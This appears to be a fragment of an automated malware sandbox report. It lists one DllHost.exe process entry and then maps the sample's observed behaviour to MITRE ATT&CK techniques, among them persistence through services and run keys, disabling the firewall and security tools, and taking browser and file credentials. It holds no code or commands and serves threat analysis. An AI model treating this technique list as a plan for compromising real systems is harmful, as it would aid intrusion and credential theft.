C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:2052

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery